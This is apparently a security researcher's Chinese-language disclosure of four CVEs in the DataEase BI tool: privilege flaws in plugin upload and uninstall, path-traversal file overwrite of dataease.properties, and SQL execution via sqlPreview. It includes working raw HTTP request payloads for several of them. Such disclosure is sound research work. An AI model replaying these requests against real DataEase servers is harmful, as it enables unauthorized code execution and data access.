Dataease漏洞

2022年,由于公司需要,对fit2cloud的新产品dataease做了一次审计和漏洞挖掘,发现了一些成果,也获得了飞致云的致谢。

image-20240509104557017

现在公开漏洞的一些相关细节,其中关于插件的两个漏洞综合利用可以实现任意代码执行。

CVE-2022-34113:普通用户上传插件至任意代码执行

在官网编译插件,并在主要连接presto的功能处加入恶意代码:

image-20240509105601052

插件安装处未鉴权,普通用户可调用接口上传插件:

image-20240509105619408

上传成功后普通用户新建presto数据源:

image-20240509105633131

查看dnslog平台:

image-20240509105646212

CVE-2022-34112:普通用户卸载插件

普通用户无法对插件进行处理,但是通过调用接口可对插件进行卸载:

1
2
3
4
5
6
7
8
9
10
POST /api/plugin/uninstall/1 HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate
Authorization: xxx
LINK-PWD-TOKEN: null
Connection: close
Content-Length: 0

低权限依然可以调用api/plugin/uninstall接口进行插件卸载:

image-20240509105428489

发送:

image-20240509105454084

管理员查看插件被卸载,漏洞利用成功:

image-20240509105510298

CVE-2022-34115:任意文件写入

数据源驱动管理处存在文件上传接口:

image-20240509104915660

查看源代码:

image-20240509104958334

这里直接拼接的文件与ID,因此可以构造包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
POST /driver/file/upload HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: */*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate
Authorization: xxx
Content-Type: multipart/form-data; boundary=---------------------------70362338610608895491036095575
Content-Length: 1167
Origin: http://10.211.55.18
Connection: close
Referer: http://10.211.55.18/
Cookie: 

-----------------------------70362338610608895491036095575
Content-Disposition: form-data; name="id"

/../conf
-----------------------------70362338610608895491036095575
Content-Disposition: form-data; name="name"

123
-----------------------------70362338610608895491036095575
Content-Disposition: form-data; name="createTime"

1654829420814
-----------------------------70362338610608895491036095575
Content-Disposition: form-data; name="type"

mysql
-----------------------------70362338610608895491036095575
Content-Disposition: form-data; name="driverClass"

null
-----------------------------70362338610608895491036095575
Content-Disposition: form-data; name="desc"


-----------------------------70362338610608895491036095575
Content-Disposition: form-data; name="typeDesc"

MySQL
-----------------------------70362338610608895491036095575
Content-Disposition: form-data; name="showModel"

show
-----------------------------70362338610608895491036095575
Content-Disposition: form-data; name="file"; filename="dataease.properties"
Content-Type: image/png

123
-----------------------------70362338610608895491036095575--

虽然返回包为错误,但实际上已经上传成功。 因此可以修改数据库配置文件或其他配置文件,可能会造成任意代码执行。

CVE-2022-34114:SQL注入

普通权限用户可调用 /dataset/table/sqlPreview 接口。 实现过程中主要需要两个参数:DataSourceId和 sql,dataSourceId可通过查看数据源获取。

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /dataset/table/sqlPreview  HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authorization: xxx
LINK-PWD-TOKEN: null
Content-Length: 95
Connection: close

{"dataSourceId":"76026997-94f9-4a35-96ca-151084638969","info":"{\"sql\":\"select version()\"}"}

image-20240509105252161